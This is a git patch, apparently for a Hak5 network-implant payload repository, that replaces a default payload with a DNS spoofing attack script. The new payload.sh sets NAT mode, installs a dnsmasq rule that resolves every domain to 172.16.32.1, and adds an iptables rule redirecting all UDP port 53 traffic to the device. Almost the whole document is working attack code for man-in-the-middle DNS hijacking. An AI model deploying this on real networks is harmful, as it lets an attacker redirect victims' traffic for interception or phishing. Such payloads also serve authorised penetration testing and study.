From 14da80aa0d43d616acd392bf4163adff24cfa51f Mon Sep 17 00:00:00 2001 From: cyrus104 Date: Thu, 9 Jul 2020 13:38:14 +0700 Subject: [PATCH] Uploaded Default Switch 2 Payload --- payloads/switch2/payload.sh | 37 +++++++++++++++++++++++++++---------- payloads/switch2/spoofhost | 1 + 2 files changed, 28 insertions(+), 10 deletions(-) create mode 100644 payloads/switch2/spoofhost diff --git a/payloads/switch2/payload.sh b/payloads/switch2/payload.sh index 25da1c3..294bcbd 100755 --- a/payloads/switch2/payload.sh +++ b/payloads/switch2/payload.sh @@ -1,12 +1,29 @@ #!/bin/bash -# -# Title: Default Payload -# Description: Sets the NETMODE to NAT, then sets the LED to ATTACK -# Author: Hak5 -# Version: 1.0 -# Category: default -# Target: Any -# Net Mode: NAT +# DNSSpoof payload -NETMODE NAT -LED ATTACK + +function setup() { + # Show SETUP LED + LED SETUP + + # Set the network mode to NAT + NETMODE NAT + sleep 5 + + # Copy the spoofhost file to /tmp/dnsmasq.address + cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null + + # Restart dnsmasq with the new configuration + /etc/init.d/dnsmasq restart +} + +function run() { + # Show ATTACK LED + LED ATTACK + + # Redirect all DNS traffic to ourselves + iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53 +} + +setup +run \ No newline at end of file diff --git a/payloads/switch2/spoofhost b/payloads/switch2/spoofhost new file mode 100644 index 0000000..6580081 --- /dev/null +++ b/payloads/switch2/spoofhost @@ -0,0 +1 @@ +address=/#/172.16.32.1 \ No newline at end of file